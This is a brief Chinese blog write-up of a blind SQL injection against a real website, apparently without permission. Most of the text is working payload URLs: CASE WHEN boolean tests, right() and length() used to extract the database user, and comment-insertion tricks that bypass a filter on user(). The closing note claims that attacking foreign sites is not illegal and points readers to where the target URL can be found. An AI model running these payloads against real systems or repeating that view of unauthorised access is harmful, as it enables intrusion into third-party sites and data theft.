起因:大早上体育课改成了线上,又正逢看到大佬发了一篇SQL注入文章,就想着复现一下,练练手,本篇就是记录一下渗透过程。
先判断闭合类型
1/1如下
1/0如下
两次回显不一样,说明是数字型注入,尝试使用case when
https://ip/index.php?id=1/case+when+1=1+then+1+else+0+end&lang=sk
有回显,有搞头,到这里我和那位师傅的情况一样,但是下面他用了substr()这个函数,但是我用的时候已经被过滤了
尝试了很多绕过方法都不行,于是尝试用其他函数替代,发现有个right没有被过滤
接下来盲注爆破user数据用户名
id=1/case+when+right(user(),1)!='1'+then+1+else+0+end
但是user()也被过滤,
user/**/()也不行,那就尝试在/**/加东西看看能不能绕过
/index.php?id=1/case+when+right(user/*§§*/(),1)!=%27a%27+then+1+else+0+end&lang=sk
burp跑一下
发现很多绕过方法,随便选一个
成功绕过,那就随便爆破两位意思意思,点到为止
/index.php?id=1/case+when+right(user/*--/*/(),2)!=%27§a§0%27+then+1+else+0+end&lang=sk
最后一位为0 ,看一下倒数第二位
为8,其他就不测试了,其实length()函数也没有被过滤,看一下user多少位
id=1/case+when+length(user/*--/*/())=§1§+then+1+else+0+end
为26位。
总结:一次不错的渗透测试,本来user()那里绕不过去都想放弃了,但还是坚持了下去,所以还是要多试试。
PS:本来这个码我懒得打的,毕竟按照其他师傅说的,国外的站嘛,随便日又不犯法,感兴趣的师傅可以去搜公众号湘安无事找url。hh其实有的师傅估计能从回显中看出来url,信息收集yyds。